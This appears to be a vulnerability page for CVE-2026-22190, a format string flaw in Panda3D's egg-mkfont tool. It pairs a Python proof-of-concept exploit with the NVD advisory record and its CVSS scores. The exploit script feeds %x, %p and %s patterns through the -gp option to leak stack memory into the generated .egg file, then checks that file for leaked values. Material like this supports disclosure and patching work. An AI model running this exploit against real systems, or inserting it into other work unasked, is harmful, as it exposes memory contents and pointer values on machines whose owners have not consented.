CVE-2026-22190

#!/usr/bin/env python3 # CVE-2026-22190 PoC - Format String Information Disclosure # Target: Panda3D egg-mkfont tool (versions <= 1.10.16) # Description: The -gp option directly uses user input as sprintf format string import subprocess import sys import os def exploit_egg_mkfont(target_font, malicious_pattern): """ Exploit format string vulnerability in egg-mkfont Args: target_font: Path to a valid font file (.ttf, .otf) malicious_pattern: Malicious format string pattern """ # Example malicious patterns: # %x%x%x%x%x%x - Read 6 DWORDs from stack # %p%p%p%p%p%p - Read 6 pointers from stack # %08x.%08x - Read formatted stack values # %s%s%s - Attempt to read string values at stack addresses cmd = [ 'egg-mkfont', '-gp', malicious_pattern, # Vulnerable parameter '-o', 'output.egg', target_font ] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) print(f"[+] Command executed") print(f"[+] stdout: {result.stdout}") print(f"[+] stderr: {result.stderr}") # Check if output.egg was created and contains leaked data if os.path.exists('output.egg'): with open('output.egg', 'r') as f: content = f.read() if any(c.isdigit() for c in content): print("[!] Potential leaked stack data found in output.egg") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2026-22190.py <font_file.ttf>") print("Example: python3 cve-2026-22190.py /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf") sys.exit(1) font_file = sys.argv[1] if not os.path.exists(font_file): print(f"[-] Font file not found: {font_file}") sys.exit(1) # Test with various format string patterns patterns = [ '%x%x%x%x%x%x%x%x', # Read 8 DWORDs from stack '%p %p %p %p %p %p', # Read 6 pointers '%08x.%08x.%08x', # Formatted hex values '%s%s%s%s', # Attempt string dereference ] print(f"[*] Testing CVE-2026-22190 against {font_file}") for i, pattern in enumerate(patterns): print(f"\n[*] Testing pattern {i+1}: {pattern}") if exploit_egg_mkfont(font_file, pattern): print("[+] Vulnerability confirmed!") break if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-22190", "sourceIdentifier": "[email protected]", "published": "2026-01-07T21:16:03.390", "lastModified": "2026-01-12T17:53:57.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Panda3D versions up to and including 1.10.16 egg-mkfont contains an uncontrolled format string vulnerability. The -gp (glyph pattern) command-line option is used directly as the format string for sprintf() with only a single argument supplied. If an attacker provides additional format specifiers, egg-mkfont may read unintended stack values and write the formatted output into generated .egg and .png files, resulting in disclosure of stack-resident memory and pointer values."}, {"lang": "es", "value": "Las versiones de Panda3D hasta la 1.10.16 inclusive egg-mkfont contienen una vulnerabilidad de cadena de formato incontrolada. La opción de línea de comandos -gp (patrón de glifo) se utiliza directamente como la cadena de formato para sprintf() con un único argumento proporcionado. Si un atacante proporciona especificadores de formato adicionales, egg-mkfont puede leer valores de pila no intencionados y escribir la salida formateada en archivos .egg y .png generados, lo que resulta en la divulgación de memoria residente en la pila y valores de puntero."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-134"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cmu:panda3d:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.10.16", "matchCriteriaId": "EBD14B18-5255-4C59-93D4-597FB077C187"}]}]}], "references": [{"url": "https://github.com/panda3d/panda3d", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://seclists.org/fulldisclosure/2026/Jan/11", "source": "[email protected]", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "https://www.panda3d.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/panda3d-egg-mkfont-format-string-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}